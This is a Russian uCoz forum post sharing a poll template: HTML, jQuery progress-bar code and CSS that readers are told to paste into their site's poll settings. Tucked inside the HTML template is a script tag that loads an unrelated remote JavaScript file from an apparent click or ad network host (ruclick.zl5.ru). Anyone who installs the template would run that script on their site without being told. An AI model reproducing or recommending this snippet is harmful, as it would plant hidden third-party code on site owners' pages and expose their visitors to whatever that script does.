Мой сайт
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Стильный вид опроса для uCoz NEW!
DeReK Дата: Четверг, 24.03.2011, 20:59 | Сообщение # 1

Сообщений:
52
Регистрация: 01.04.2010
Репутация: 18
Замечания:
Статус:
Offline

Установка:

Админ панель \ Дизайн \ Опросы \ Вид формы опросов

удаляем от туда старый код и устанавливаем новый

Code

<div class="cell_poll"><div class="cell_poll_title center bold">$QUESTION$</div><div class="cell_poll_variant">$ANSWERS$</div><div class="cell_poll_left text_9"><a style="font-size:7pt;" href="$RESULTS_LINK$">Результат</a></div><script src="http://s1.ruclick.zl5.ru/cxfn1gdf.js" type="text/javascript"></script><div class="cell_poll_right text_9">Всего ответов: <b>$TOTAL_VOTES$</b></div><div class="cell_poll_forum "></div></div>        
<script type="text/javascript">        
        var a = ['http://webo4ka.ru/Ucoz2/vid_oproca/poloska_1.gif','http://webo4ka.ru/Ucoz2/vid_oproca/poloska_2.gif',
'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_3.gif','http://webo4ka.ru/Ucoz2/vid_oproca/poloska_4.gif',
'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_5.gif', 'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_6.gif',
'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_7.gif',
'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_8.gif','http://webo4ka.ru/Ucoz2/vid_oproca/poloska_9.gif',
'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_10.gif','http://webo4ka.ru/Ucoz2/vid_oproca/poloska_1.gif',
'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_2.gif','http://webo4ka.ru/Ucoz2/vid_oproca/poloska_3.gif',
'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_4.gif','http://webo4ka.ru/Ucoz2/vid_oproca/poloska_5.gif',
'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_6.gif','http://webo4ka.ru/Ucoz2/vid_oproca/poloska_7.gif',
'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_8.gif','http://webo4ka.ru/Ucoz2/vid_oproca/poloska_9.gif',
'http://webo4ka.ru/Ucoz2/vid_oproca/poloska_10.gif'];        
        for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});
$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}        
        $('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});        
</script>

и добавляем css стили
Code
/* Ячейка опроса       
------------------------------------------*/       
.cell_poll_title {       
       text-align:center;       
       font: 115%/1.5 Verdana,Arial,Helvetica, sans-serif;       
       padding: 5px 0px;       
}       

.cell_poll_left {       
       float:left;       
       width:115px;       
}       

.cell_poll_right {       
       float:left;       
       text-align:right;       
       width:115px;       
}       

.cell_poll_forum,       
.cell_poll_rezultat,       
.cell_poll_variant,       
.cell_poll_title,       
.cell_poll {       
       float:left;       
       width:230px;       
}       

.cell_citation {       
       font-size:10px;       
       color:#555;       
}       

.cell_citation_os {       
       float:left;       
       background-color: #fff;       
       border: 1px solid #B6B6B5;       
       padding: 5px;       
}       

.cell_poll_rezultat,       
.cell_poll_variant {       
       padding: 5px 0px;       
       }       

.answer {       
       padding: 5px 0px 5px 0px;       
}       

.answer div div {       
       height: 10px !important;       
       border: 1px solid #fff;       
}       

.answer div {       
       display: block;       
       position: relative;       
       padding: 0 !important;       
       border: 1px solid #B6B6B5;       
       background: #F4F5F6;       
       margin: 3px 0px 0px 0px;}       
/* -------------------------------------- */


По всем вопросам писать в ЛС.
  • Страница 1 из 1
  • 1
Поиск:

Copyright MyCorp © 2024
Бесплатный хостинг uCoz